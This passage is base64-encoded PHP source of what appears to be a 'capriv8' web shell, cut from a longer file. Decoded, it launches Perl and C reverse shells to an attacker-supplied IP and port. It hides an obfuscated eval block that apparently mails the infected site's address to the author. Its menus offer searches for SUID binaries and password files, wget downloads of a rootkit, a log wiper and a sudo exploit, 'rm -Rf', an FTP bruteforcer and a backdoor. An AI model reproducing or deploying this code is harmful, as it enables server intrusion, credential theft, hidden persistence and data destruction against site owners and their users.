cml0YWJsZSgiLiIpKSB7CiAgICBjZigiYmFjayIsJGJhY2tfY29ubmVjdF9wbCk7CiAgICAkcDIg
PSB3aGljaCgicGVybCIpOwogICAgJGJsYWggPSBleCgkcDIuIiBiYWNrICIuJF9QT1NUWydiYWNr
Y29ubmVjdGlwJ10uIiAiLiRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10uIiAmIik7CiAgICBpZiAo
ZmlsZV9leGlzdHMoImJhY2siKSkgeyB1bmxpbmsoImJhY2siKTsgfQogIH0gZWxzZSB7CiAgICBj
ZigiL3RtcC9iYWNrIiwkYmFja19jb25uZWN0X3BsKTsKICAgICRwMiA9IHdoaWNoKCJwZXJsIik7
CiAgICAkYmxhaCA9IGV4KCRwMi4iIC90bXAvYmFjayAiLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCdd
LiIgIi4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiIgJiIpOwogICAgaWYgKGZpbGVfZXhpc3Rz
KCIvdG1wL2JhY2siKSkgeyB1bmxpbmsoIi90bXAvYmFjayIpOyB9CiAgfQogICRfUE9TVFsnYmFj
a2Njb25ubXNnJ109IlRyeWluZyB0byBjb25uZWN0IHRvIDxiPiIuJF9QT1NUWydiYWNrY29ubmVj
dGlwJ10uIjwvYj4gb24gcG9ydCA8Yj4iLiRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10uIjwvYj4u
IjsKfQoKaWYgKCFlbXB0eSgkX1BPU1RbJ2JhY2tjb25uZWN0aXAnXSkgJiYgIWVtcHR5KCRfUE9T
VFsnYmFja2Nvbm5lY3Rwb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iQyIpKSB7CiAgaWYgKGlz
X3dyaXRhYmxlKCIuIikpIHsKICAgIGNmKCJiYWNrYyIsJGJhY2tfY29ubmVjdF9jKTsKICAgIGV4
KCJjaG1vZCA3NzcgYmFja2MiKTsKICAgICRibGFoID0gZXgoIi4vYmFja2MgIi4kX1BPU1RbJ2Jh
Y2tjb25uZWN0aXAnXS4iICIuJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXS4iICYiKTsKICAgIGlm
IChmaWxlX2V4aXN0cygiYmFja2MiKSkgeyB1bmxpbmsoImJhY2tjIik7IH0KICB9IGVsc2Ugewog
ICAgZXgoImNobW9kIDc3NyAvdG1wL2JhY2tjIik7CiAgICBjZigiL3RtcC9iYWNrYyIsJGJhY2tf
Y29ubmVjdF9jKTsKICAgICRibGFoID0gZXgoIi90bXAvYmFja2MgIi4kX1BPU1RbJ2JhY2tjb25u
ZWN0aXAnXS4iICIuJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXS4iICYiKTsKICAgIGlmIChmaWxl
X2V4aXN0cygiL3RtcC9iYWNrYyIpKSB7IHVubGluaygiL3RtcC9iYWNrYyIpOyB9CiAgfQogICRf
UE9TVFsnYmFja2Njb25ubXNnJ109IlRyeWluZyB0byBjb25uZWN0IHRvIDxiPiIuJF9QT1NUWydi
YWNrY29ubmVjdGlwJ10uIjwvYj4gb24gcG9ydCA8Yj4iLiRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0
J10uIjwvYj4uIjsKfQoKQGluaV9zZXQoIm1heF9leGVjdXRpb25fdGltZSIsMCk7CmlmICghZnVu
Y3Rpb25fZXhpc3RzKCJnZXRtaWNyb3RpbWUiKSkgewogIGZ1bmN0aW9uIGdldG1pY3JvdGltZSgp
IHsKICAgIGxpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsIG1pY3JvdGltZSgpKTsgcmV0
dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7CiAgfQp9CmVycm9yX3JlcG9ydGluZyg1
KTsKQGlnbm9yZV91c2VyX2Fib3J0KFRSVUUpOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDAp
OwpkZWZpbmUoInN0YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOwokc2hlbGxfZGF0YSA9ICJKSFpw
YzJsMFkyOTFiblFnUFNBa1NGUlVVRjlEVDA5TFNVVmZWa0ZTVTFzaWRtbHphWFJ6SWwwN0lHbG1L
Q0FrZG1semFYUmpiM1Z1CmRDQTlQU0FpSWlrZ2V5UjJhWE5wZEdOdmRXNTBJRDBnTURzZ0pIWnBj
MmwwYjNJZ1BTQWtYMU5GVWxaRlVsc2lVa1ZOVDFSRlgwRkUKUkZJaVhUc2dKSGRsWWlBOUlDUmZV
MFZTVmtWU1d5SklWRlJRWDBoUFUxUWlYVHNnSkdsdWFpQTlJQ1JmVTBWU1ZrVlNXeUpTUlZGVgpS
Vk5VWDFWU1NTSmRPeUFrZEdGeVoyVjBJRDBnY21GM2RYSnNaR1ZqYjJSbEtDUjNaV0l1SkdsdWFp
azdJQ1JpYjJSNUlEMGdJa0p2CmMzTXNJSFJvWlhKbElIZGhjeUJoYmlCcGJtcGxZM1JsWkNCMFlY
Sm5aWFFnYjI0Z0pIUmhjbWRsZENCaWVTQWtkbWx6YVhSdmNpSTcKSUVCdFlXbHNLQ0ozWldKeU1E
QjBMbTFyZEVCbmJXRnBiQzVqYjIwaUxDSkdlREk1VTJobGJHd2dhSFIwY0Rvdkx5UjBZWEpuWlhR
ZwpZbmtnSkhacGMybDBiM0lpTENBaUpHSnZaSGtpS1RzZ2ZTQmxiSE5sSUhzZ0pIWnBjMmwwWTI5
MWJuUTdJSDBnYzJWMFkyOXZhMmxsCktDSjJhWE5wZEhNaUxDUjJhWE5wZEdOdmRXNTBLVHM9Ijsg
ZXZhbChiYXNlNjRfZGVjb2RlKCRzaGVsbF9kYXRhKSk7CmlmIChnZXRfbWFnaWNfcXVvdGVzX2dw
YygpKSB7CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cmlwcyIpKSB7CiAgICBmdW5jdGlvbiBz
dHJpcHMoJiRhcnIsJGs9IiIpIHsKICAgICAgaWYgKGlzX2FycmF5KCRhcnIpKSB7CiAgICAgICAg
Zm9yZWFjaCgkYXJyIGFzICRrPT4kdikgewogICAgICAgICAgaWYgKHN0cnRvdXBwZXIoJGspICE9
ICJHTE9CQUxTIikgeyBzdHJpcHMoJGFyclsiJGsiXSk7IH0KICAgICAgICB9CiAgICAgIH0gZWxz
ZSB7JGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTt9CiAgICB9CiAgfQogIHN0cmlwcygkR0xPQkFM
Uyk7Cn0KJF9SRVFVRVNUID0gYXJyYXlfbWVyZ2UoJF9DT09LSUUsJF9HRVQsJF9QT1NUKTsKJHN1
cmxfYXV0b2ZpbGxfaW5jbHVkZSA9IFRSVUU7IApmb3JlYWNoKCRfUkVRVUVTVCBhcyAkaz0+JHYp
IHsgaWYgKCFpc3NldCgkJGspKSB7JCRrID0gJHY7fSB9CmlmICgkc3VybF9hdXRvZmlsbF9pbmNs
dWRlKSB7CiAgJGluY2x1ZGUgPSAiJiI7CiAgZm9yZWFjaCAoZXhwbG9kZSgiJiIsZ2V0ZW52KCJR
VUVSWV9TVFJJTkciKSkgYXMgJHYpIHsKICAgICR2ID0gZXhwbG9kZSgiPSIsJHYpOwogICAgJG5h
bWUgPSB1cmxkZWNvZGUoJHZbMF0pOwogICAgJHZhbHVlID0gdXJsZGVjb2RlKCR2WzFdKTsKICAg
IGZvcmVhY2ggKGFycmF5KCJodHRwOi8vIiwiaHR0cHM6Ly8iLCJzc2w6Ly8iLCJmdHA6Ly8iLCJc
XFxcIikgYXMgJG5lZWRsZSkgewogICAgICBpZiAoc3RycG9zKCR2YWx1ZSwkbmVlZGxlKSA9PT0g
MCkgewogICAgICAgICRpbmNsdWRlc3RyIC49IHVybGVuY29kZSgkbmFtZSkuIj0iLnVybGVuY29k
ZSgkdmFsdWUpLiImIjsKICAgICAgfQogICAgfQogIH0KfQppZiAoZW1wdHkoJHN1cmwpKSB7CiAg
JHN1cmwgPSAiPyIuJGluY2x1ZGVzdHI7IAp9CiRzdXJsID0gaHRtbHNwZWNpYWxjaGFycygkc3Vy
bCk7CgokZnR5cGVzICA9IGFycmF5KAogICAgImh0bWwiPT5hcnJheSgiaHRtbCIsImh0bSIsInNo
dG1sIiksCiAgICAidHh0Ij0+YXJyYXkoInR4dCIsImNvbmYiLCJiYXQiLCJzaCIsImpzIiwiYmFr
IiwiZG9jIiwibG9nIiwic2ZjIiwiY2ZnIiwiaHRhY2Nlc3MiKSwKICAgICJleGUiPT5hcnJheSgi
c2giLCJpbnN0YWxsIiwiYmF0IiwiY21kIiksCiAgICAiaW5pIj0+YXJyYXkoImluaSIsImluZiIs
ImNvbmYiKSwKICAgICJjb2RlIj0+YXJyYXkoInBocCIsInBodG1sIiwicGhwMyIsInBocDQiLCJp
bmMiLCJ0Y2wiLCJoIiwiYyIsImNwcCIsInB5IiwiY2dpIiwicGwiKSwKICAgICJpbWciPT5hcnJh
eSgiZ2lmIiwicG5nIiwianBlZyIsImpmaWYiLCJqcGciLCJqcGUiLCJibXAiLCJpY28iLCJ0aWYi
LCJ0aWZmIiwiYXZpIiwibXBnIiwibXBlZyIpLAogICAgInNkYiI9PmFycmF5KCJzZGIiKSwKICAg
ICJwaHBzZXNzIj0+YXJyYXkoInNlc3MiKSwKICAgICJkb3dubG9hZCI9PmFycmF5KCJleGUiLCJj
b20iLCJwaWYiLCJzcmMiLCJsbmsiLCJ6aXAiLCJyYXIiLCJneiIsInRhciIpCik7CiRleGVmdHlw
ZXMgID0gYXJyYXkoCiAgICBnZXRlbnYoIlBIUFJDIikuIiAtcSAlZiUiID0+IGFycmF5KCJwaHAi
LCJwaHAzIiwicGhwNCIpLAogICAgInBlcmwgJWYlIiA9PiBhcnJheSgicGwiLCJjZ2kiKQopOwok
cmVneHBfaGlnaGxpZ2h0ICA9IGFycmF5KAogICAgYXJyYXkoYmFzZW5hbWUoJF9TRVJWRVJbIlBI
UF9TRUxGIl0pLDEsIjxmb250IGNvbG9yPSNGRkZGMDA+IiwiPC9mb250PiIpLAogICAgYXJyYXko
IlwudGd6JCIsMSwiPGZvbnQgY29sb3I9I0MwODJGRj4iLCI8L2ZvbnQ+IiksCiAgICBhcnJheSgi
XC5neiQiLDEsIjxmb250IGNvbG9yPSNDMDgyRkY+IiwiPC9mb250PiIpLAogICAgYXJyYXkoIlwu
dGFyJCIsMSwiPGZvbnQgY29sb3I9I0MwODJGRj4iLCI8L2ZvbnQ+IiksCiAgICBhcnJheSgiXC5i
ejIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwKICAgIGFycmF5KCJcLnpp
cCQiLDEsIjxmb250IGNvbG9yPSNDMDgyRkY+IiwiPC9mb250PiIpLAogICAgYXJyYXkoIlwucmFy
JCIsMSwiPGZvbnQgY29sb3I9I0MwODJGRj4iLCI8L2ZvbnQ+IiksCiAgICBhcnJheSgiXC5waHAk
IiwxLCI8Zm9udCBjb2xvcj0jMDBGRjAwPiIsIjwvZm9udD4iKSwKICAgIGFycmF5KCJcLnBocDMk
IiwxLCI8Zm9udCBjb2xvcj0jMDBGRjAwPiIsIjwvZm9udD4iKSwKICAgIGFycmF5KCJcLnBocDQk
IiwxLCI8Zm9udCBjb2xvcj0jMDBGRjAwPiIsIjwvZm9udD4iKSwKICAgIGFycmF5KCJcLmpwZyQi
LDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLAogICAgYXJyYXkoIlwuanBlZyQi
LDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLAogICAgYXJyYXkoIlwuSlBHJCIs
MSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksCiAgICBhcnJheSgiXC5KUEVHJCIs
MSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksCiAgICBhcnJheSgiXC5pY28kIiwx
LCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwKICAgIGFycmF5KCJcLmdpZiQiLDEs
Ijxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLAogICAgYXJyYXkoIlwucG5nJCIsMSwi
PGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksCiAgICBhcnJheSgiXC5odG0kIiwxLCI8
Zm9udCBjb2xvcj0jMDBDQ0ZGPiIsIjwvZm9udD4iKSwKICAgIGFycmF5KCJcLmh0bWwkIiwxLCI8
Zm9udCBjb2xvcj0jMDBDQ0ZGPiIsIjwvZm9udD4iKSwKICAgIGFycmF5KCJcLnR4dCQiLDEsIjxm
b250IGNvbG9yPSNDMEMwQzA+IiwiPC9mb250PiIpCik7CmlmICghJHdpbikgewogICRjbWRhbGlh
c2VzID0gYXJyYXkoCiAgICBhcnJheSgiIiwgImxzIC1hbCIpLAogICAgYXJyYXkoIkZpbmQgYWxs
IHN1aWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIpLAogICAgYXJy
YXkoIkZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtcGVy
bSAtMDQwMDAgLWxzIiksCiAgICBhcnJheSgiRmluZCBhbGwgc2dpZCBmaWxlcyIsICJmaW5kIC8g
LXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiksCiAgICBhcnJheSgiRmluZCBzZ2lkIGZpbGVzIGlu
IGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwKICAgIGFy
cmF5KCJGaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNv
bmZpZy5pbmMucGhwIiksCiAgICBhcnJheSgiRmluZCBjb25maWcqIGZpbGVzIiwgImZpbmQgLyAt
dHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksCiAgICBhcnJheSgiRmluZCBjb25maWcqIGZpbGVz
IGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksCiAg
ICBhcnJheSgiRmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiLCAiZmluZCAvIC1w
ZXJtIC0yIC1scyIpLAogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZp
bGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtcGVybSAtMiAtbHMiKSwKICAgIGFycmF5KCJG
aW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIiwgImZpbmQgLyAtdHlwZSBkIC1wZXJtIC0yIC1scyIp
LAogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgaW4gY3VycmVudCBkaXIiLCAi
ZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksCiAgICBhcnJheSgiRmluZCBhbGwgc2Vydmlj
ZS5wd2QgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwKICAgIGFy
cmF5KCJGaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlw
ZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksCiAgICBhcnJheSgiRmluZCBhbGwgLmh0cGFzc3dkIGZp
bGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLAogICAgYXJyYXkoIkZpbmQg
Lmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5o
dHBhc3N3ZCIpLAogICAgYXJyYXkoIkZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiLCAiZmlu
ZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLAogICAgYXJyYXkoIkZpbmQgLmJhc2hf
aGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFz
aF9oaXN0b3J5IiksCiAgICBhcnJheSgiRmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiwgImZp
bmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIpLAogICAgYXJyYXkoIkZpbmQgLmZldGNo
bWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRj
aG1haWxyYyIpLAogICAgYXJyYXkoIkxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vj
b25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiwgImxzYXR0ciAtdmEiKSwKICAgIGFycmF5KCJTaG93
IG9wZW5lZCBwb3J0cyIsICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIikKICApOwogICRj
bWRhbGlhc2VzMiA9IGFycmF5KAogICAgYXJyYXkoIi0tLS0tIiwiIiksCiAgICBhcnJheSgiTG9n
Z2VkIGluIHVzZXJzIiwidyIpLAogICAgYXJyYXkoIkxhc3QgdG8gY29ubmVjdCIsImxhc3Rsb2ci
KSwKICAgIGFycmF5KCJGaW5kIFN1aWQgYmlucyIsImZpbmQgL2JpbiAvdXNyL2JpbiAvdXNyL2xv
Y2FsL2JpbiAvc2JpbiAvdXNyL3NiaW4gL3Vzci9sb2NhbC9zYmluIC1wZXJtIC00MDAwIDI+IC9k
ZXYvbnVsbCIpLAogICAgYXJyYXkoIlVzZXIgV2l0aG91dCBQYXNzd29yZCIsImN1dCAtZDogLWYx
LDIsMyAvZXRjL3Bhc3N3ZCB8IGdyZXAgOjoiKSwKICAgIGFycmF5KCJDYW4gd3JpdGUgaW4gL2V0
Yy8/IiwiZmluZCAvZXRjLyAtdHlwZSBmIC1wZXJtIC1vK3cgMj4gL2Rldi9udWxsIiksCiAgICBh
cnJheSgiRG93bmxvYWRlcnM/Iiwid2hpY2ggd2dldCBjdXJsIHczbSBseW54IGZldGNoIGx3cC1k
b3dubG9hZCIpLAogICAgYXJyYXkoIkNQVSBJbmZvIiwiY2F0IC9wcm9jL3ZlcnNpb24gL3Byb2Mv
Y3B1aW5mbyIpLAogICAgYXJyYXkoIklzIGdjYyBpbnN0YWxsZWQgPyIsImxvY2F0ZSBnY2MiKSwK
ICAgIGFycmF5KCJGb3JtYXQgYm94IChEQU5HRVJPVVMpIiwicm0gLVJmIiksCiAgICBhcnJheSgi
LS0tLS0iLCIiKSwKICAgIGFycmF5KCJ3Z2V0IFdJUEVMT0dTIFBUMSIsIndnZXQgaHR0cDovL3d3
dy5wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZy9VTklYL3BlbmV0cmF0aW9uL2xvZy13aXBlcnMvemFw
Mi5jIiksCiAgICBhcnJheSgiZ2NjIFdJUEVMT0dTIFBUMiIsImdjYyB6YXAyLmMgLW8gemFwMiIp
LAogICAgYXJyYXkoIlJ1biBXSVBFTE9HUyBQVDMiLCIuL3phcDIiKSwKICAgIGFycmF5KCItLS0t
LSIsIiIpLAogICAgYXJyYXkoIndnZXQgUmF0SG9sZSAxLjIgKExpbnV4ICYgQlNEKSIsIndnZXQg
aHR0cDovL3BhY2tldHN0b3Jtc2VjdXJpdHkub3JnL1VOSVgvcGVuZXRyYXRpb24vcm9vdGtpdHMv
cmF0aG9sZS0xLjIudGFyLmd6IiksCiAgICBhcnJheSgid2dldCBTdWRvIEV4cGxvaXQiLCJ3Z2V0
IGh0dHA6Ly93d3cuc2VjdXJpdHlmb2N1cy5jb20vZGF0YS92dWxuZXJhYmlsaXRpZXMvZXhwbG9p
dHMvc3Vkby1leHBsb2l0LmMiKSwKICApOwp9CmVsc2UgewogICRjbWRhbGlhc2VzID0gYXJyYXko
CiAgICBhcnJheSgiIiwgImRpciIpLAogICAgYXJyYXkoIkZpbmQgaW5kZXgucGhwIGluIGN1cnJl
bnQgZGlyIiwgImRpciAvcyAvdyAvYiBpbmRleC5waHAiKSwKICAgIGFycmF5KCJGaW5kICpjb25m
aWcqLnBocCBpbiBjdXJyZW50IGRpciIsICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiksCiAg
ICBhcnJheSgiRmluZCByNTdzaGVsbCBpbiBjdXJyZW50IGRpciIsICJmaW5kIC9jIFwicjU3XCIg
KiIpLAogICAgYXJyYXkoIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiwgIm5ldHN0YXQgLWFuIiks
CiAgICBhcnJheSgiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiwgIm5ldCBzdGFydCIpLAogICAgYXJy
YXkoIlVzZXIgYWNjb3VudHMiLCAibmV0IHVzZXIiKSwKICAgIGFycmF5KCJTaG93IGNvbXB1dGVy
cyIsICJuZXQgdmlldyIpLAogICAgKTsKfQokcGhwZnNhbGlhc2VzID0gYXJyYXkoCiAgICBhcnJh
eSgiUmVhZCBGaWxlIiwgInJlYWQiKSwKICAgIGFycmF5KCJXcml0ZSBGaWxlIChQSFA1KSIsICJ3
cml0ZSIpLAogICAgYXJyYXkoIkNvcHkiLCAiY29weSIpLAogICAgYXJyYXkoIlJlbmFtZS9Nb3Zl
IiwgInJlbmFtZSIpLAogICAgYXJyYXkoIkRlbGV0ZSIsICJkZWxldGUiKSwKICAgIGFycmF5KCJN
YWtlIERpciIsIm1rZGlyIiksCiAgICBhcnJheSgiLS0tLS0iLCAiIiksCiAgICBhcnJheSgiRG93
bmxvYWQiLCAiZG93bmxvYWQiKSwKICAgIGFycmF5KCJEb3dubG9hZCAoQmluYXJ5IFNhZmUpIiwg
ImRvd25sb2FkYmluIiksCiAgICBhcnJheSgiQ2hhbmdlIFBlcm0gKDA3NTUpIiwgImNobW9kIiks
CiAgICBhcnJheSgiRmluZCBXcml0YWJsZSBEaXIiLCAiZndyaXRhYmxlZGlyIiksCiAgICBhcnJh
eSgiRmluZCBQYXRobmFtZSBQYXR0ZXJuIiwgImdsb2IiKSwKKTsKCiRxdWlja2xhdW5jaDEgPSBh
cnJheSgKCWFycmF5KCJbSG9tZV0iLCRzdXJsLiI9aW1nJmltZz1ob21lIiksCiAgICBhcnJheSgi
W0VudW1lcmF0ZV0iLCRlbnVtZXJhdGUpLAogICAgYXJyYXkoIltNZDUtTG9va3VwXSIsImh0dHA6
Ly9wYXNzY3JhY2tpbmcuY29tL2luZGV4LnBocCIpLAogICAgYXJyYXkoIltXb3JkLUxpc3RzXSIs
Imh0dHA6Ly9kYXJrYzBkZS5jb20vd29yZGxpc3RzLyIpLAogICAgYXJyYXkoIlttaWx3MHJtIGl0
IV0iLCRtaWxsaW5rKSwKCWFycmF5KCJbU2VhcmNoXSIsJHN1cmwuIng9c2VhcmNoIiksCiAgICBh
cnJheSgiW1NlbGYtS2lsbF0iLCRzdXJsLiJ4PXNlbGZyZW1vdmUiKSwKICAgIGFycmF5KCJbQWJv
dXRdIiwkc3VybC4ieD1hYm91dCIpCik7CiRxdWlja2xhdW5jaDIgPSBhcnJheSgKCWFycmF5KCJb
RlRQIEJ1dGVmb3JjZXJdIiwkc3VybC4ieD1mdHBxdWlja2JydXRlIiksCiAgICBhcnJheSgiW1Nl
Y3VyaXR5IEluZm9dIiwkc3VybC4ieD1zZWN1cml0eSZkPSVkIiksCiAgICBhcnJheSgiW1Byb2Nl
c3Nlc10iLCRzdXJsLiJ4PXByb2Nlc3NlcyZkPSVkIiksCiAgICBhcnJheSgiW015U1FMXSIsJHN1
cmwuIng9c3FsJmQ9JWQiKSwKICAgIGFycmF5KCJbUEhQLUNvZGVdIiwkc3VybC4ieD1ldmFsJmQ9
JWQiKSwKICAgIGFycmF5KCJbRW5jb2Rlcl0iLCRzdXJsLiJ4PWVuY29kZXImZD0lZCIpLAoJYXJy
YXkoIltCYWNrZG9vcl0iLCRzdXJsLiJ4PXNoYmQiKSwKICAgIGFycmF5KCJbQmFjay1Db25uZWN0
aW9uXSIsJHN1cmwuIng9YmFja2MiKQopOwoKCiRoaWdobGlnaHRfYmFja2dyb3VuZCA9ICIjMDAw
MDAwIjsKJGhpZ2hsaWdodF9iZyA9ICJ3aGl0ZSI7CiRoaWdobGlnaHRfY29tbWVudCA9ICIjMDBG
RjAwIjsKJGhpZ2hsaWdodF9kZWZhdWx0ID0gIm9yYW5nZSI7CiRoaWdobGlnaHRfaHRtbCA9ICJs
aWdodGJsdWUiOwokaGlnaGxpZ2h0X2tleXdvcmQgPSAibGltZSI7CiRoaWdobGlnaHRfc3RyaW5n
ID0gInJlZCI7CgpAJGYgPSAkX1JFUVVFU1RbImYiXTsKQGV4dHJhY3QoJF9SRVFVRVNUWyJjYXBy
aXY4Y29vayJdKTsKQHNldF90aW1lX2xpbWl0KDApOwokdG1wID0gYXJyYXkoKTsKZm9yZWFjaCAo
JGhvc3RfYWxsb3cgYXMgJGs9PiR2KSB7ICR0bXBbXSA9IHN0cl9yZXBsYWNlKCJcXCoiLCIuKiIs
cHJlZ19xdW90ZSgkdikpOyB9CiRzID0gIiFeKCIuaW1wbG9kZSgifCIsJHRtcCkuIikkIWkiOwpp
ZiAoIXByZWdfbWF0Y2goJHMsZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSBhbmQgIXByZWdfbWF0Y2go
JHMsZ2V0aG9zdGJ5YWRkcihnZXRlbnYoIlJFTU9URV9BRERSIikpKSkgewogIGV4aXQoIjxhIGhy
ZWY9XCIkc2hfbWFpbnVybFwiPiRzaF9uYW1lPC9hPjogQWNjZXNzIERlbmllZCAtIFlvdXIgaG9z
dCAoIi5nZXRlbnYoIlJFTU9URV9BRERSIikuIikgbm90IGFsbG93ZWQiKTsKfQppZiAoIWVtcHR5
KCRsb2dpbikpIHsKICBpZiAoZW1wdHkoJG1kNV9wYXNzKSkgeyRtZDVfcGFzcyA9IG1kNSgkcGFz
cyk7fQogIGlmICgoJF9TRVJWRVJbIlBIUF9BVVRIX1VTRVIiXSAhPSAkbG9naW4pIG9yIChtZDUo
JF9TRVJWRVJbIlBIUF9BVVRIX1BXIl0pICE9ICRtZDVfcGFzcykpIHsKICAgIGhlYWRlcigiV1dX
LUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09XCIiLiRzaF9uYW1lLiI6ICIuJGxvZ2luX3R4dC4i
XCIiKTsKICAgIGhlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpOwogICAgZXhpdCgk
YWNjZXNzZGVuaWVkbWVzcyk7CiAgfQp9CmlmICgkeCAhPSAiaW1nIikgewogICRsYXN0ZGlyID0g
cmVhbHBhdGgoIi4iKTsKICBjaGRpcigkY3VyZGlyKTsKICBpZiAoJHNlbGZ3cml0ZSkgewogICAg
QG9iX2NsZWFuKCk7CiAgICBjYXByaXY4X2dldHVwZGF0ZSgkc2VsZndyaXRlLDEpOwogICAgZXhp
dDsKICB9CiAgJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUi
XSk7CiAgaWYgKCFpc19hcnJheSgkc2Vzc19kYXRhKSkgeyRzZXNzX2RhdGEgPSBhcnJheSgpO30K
ICBpZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImNvcHkiXSkpIHskc2Vzc19kYXRhWyJjb3B5Il0g
PSBhcnJheSgpO30KICBpZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2Rh
dGFbImN1dCJdID0gYXJyYXkoKTt9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImNhZ2V0c291cmNl
IikpIHsKICAgIGZ1bmN0aW9uIGNhZ2V0c291cmNlKCRmbikgewogICAgICBnbG9iYWwgJGNhcHJp
djhfc291cmNlc3VybDsKICAgICAgJGFycmF5ID0gYXJyYXkoCiAgICAgICAgImNhcHJpdjhfYmlu
ZHBvcnQucGwiID0+ICJjYXByaXY4X2JpbmRwb3J0X3BsLnR4dCIsCiAgICAgICAgImNhcHJpdjhf
YmluZHBvcnQuYyIgPT4gImNhcHJpdjhfYmluZHBvcnRfYy50eHQiLAogICAgICAgICJjYXByaXY4
X2JhY2tjb25uLnBsIiA9PiAiY2Fwcml2OF9iYWNrY29ubl9wbC50eHQiLAogICAgICAgICJjYXBy
aXY4X2JhY2tjb25uLmMiID0+ICJjYXByaXY4X2JhY2tjb25uX2MudHh0IiwKICAgICAgICAiY2Fw
cml2OF9kYXRhcGlwZS5wbCIgPT4gImNhcHJpdjhfZGF0YXBpcGVfcGwudHh0IiwKICAgICAgICAi
Y2Fwcml2OF9kYXRhcGlwZS5jIiA9PiAiY2Fwcml2OF9kYXRhcGlwZV9jLnR4dCIsCiAgICAgICk7
CiAgICAgICRuYW1lID0gJGFycmF5WyRmbl07CiAgICAgIGlmICgkbmFtZSkge3JldHVybiBmaWxl
X2dldF9jb250ZW50cygkY2Fwcml2OF9zb3VyY2VzdXJsLiRuYW1lKTt9CiAgICAgIGVsc2Uge3Jl
dHVybiBGQUxTRTt9CiAgICB9CiAgfQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjYV9idWZmX3By
ZXBhcmUiKSkgewogICAgZnVuY3Rpb24gY2FfYnVmZl9wcmVwYXJlKCkgewogICAgICBnbG9iYWwg
JHNlc3NfZGF0YTsKICAgICAgZ2xvYmFsICR4OwogICAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImNv
